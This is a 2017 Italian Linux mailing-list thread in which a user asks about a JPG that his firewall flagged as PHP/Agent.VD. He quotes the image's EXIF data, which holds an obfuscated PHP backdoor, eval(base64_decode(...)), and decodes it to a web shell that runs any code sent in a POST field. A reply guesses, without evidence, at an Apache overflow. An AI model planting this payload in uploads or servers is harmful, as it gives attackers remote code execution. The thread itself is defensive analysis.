[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: [linux_var] VIRUS JPG con codice PHP ?
Ciao,
magari è parte dell'exploit per l'esecuzione di qualche shellcode.
Mi spiego meglio, magari è stata scoperta qualche vulnerabilità in Apache che facendo l'upload di qualche immagine si può sbordare in qualche buffer ed eseguire codice arbitrario.
È solo una supposizione, però.
Ciao,
Riccardo
On Wed, 11 Oct 2017 11:51:25 +0200
Giovanni Orlandi <orlangio@gmail.com> wrote:
> Ciao,
>
> analizzando i log del firewall aziendale ho trovato bloccato il download
> sul PC
> di una immagine jpg (fortunatamente da un server esterno)
>
> AntiVirus
> Profile Name default
> Virus/Botnet PHP/Agent.VD!tr.bdr
> <http://www.fortinet.com/ve?vn=PHP%2FAgent.VD%21tr.bdr>
> Virus ID 5380326
> Reference http://www.fortinet.com/ve?vn=PHP%2FAgent.VD%21tr.bdr
> Detection Type Virus
> Direction incoming
> Quarantine Skip File-was-not-quarantined.
> FortiSandbox Checksum
> 1552666804a9e84d3da6741fdf81d7b20206b15d46fd3e73fd9e51c6e822e706
> Submitted to FortiSandbox false
> Message File is infected.
>
> Questo è il contenuto iniziale della jpg aperta in modo brutale con vim:
>
> ÿØÿà^@^PJFIF^@^A^A^A^@H^@H^@^@ÿá^@¡Exif^@^@II*^@^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e
> ^@eval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));^@ÿÛ^@C^@^E^C^D^D^D^C^E^D^D
>
> il base64_decode diventa:
>
> * if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}*
>
> senz'altro pericoloso se dentro un file php sul server
> ma dentro una jpg ?
>
> Non mi pare che lo scarico di quella immagine su di un PC (windows) possa
> portare alcun pericolo,
> semmai il suo upload su di un server, che però dovrebbe "eseguire" del
> codice php dentro una immagine jpg ?!?!?!
>
> Qualcuno conosce il problema e mi può dare + informazioni ?
> Grazie,
> Giovanni
>
> --
> -----------------------------------------------------------------------------------------
> Luca 18,5 : "Poiché questa vedova è così molesta le farò giustizia, perché
> non venga continuamente a importunarmi".
> Neemia 8,10 : "...questo giorno è consacrato al nostro Signore; non siate
> tristi; perché la gioia del Signore è la vostra forza".
> GSM 345.6050488 / 327.0547392 / 392.0698126 - Fax 06.62204735
--
Riccardo Macoratti
site: http://ricma.co
email: r {dot} macoratti {at} gmx {dot} co {dot} uk
_______________________________________________
Talking mailing list
Talking@ml.linuxvar.it
http://ml.linuxvar.it/cgi-bin/mailman/listinfo/talking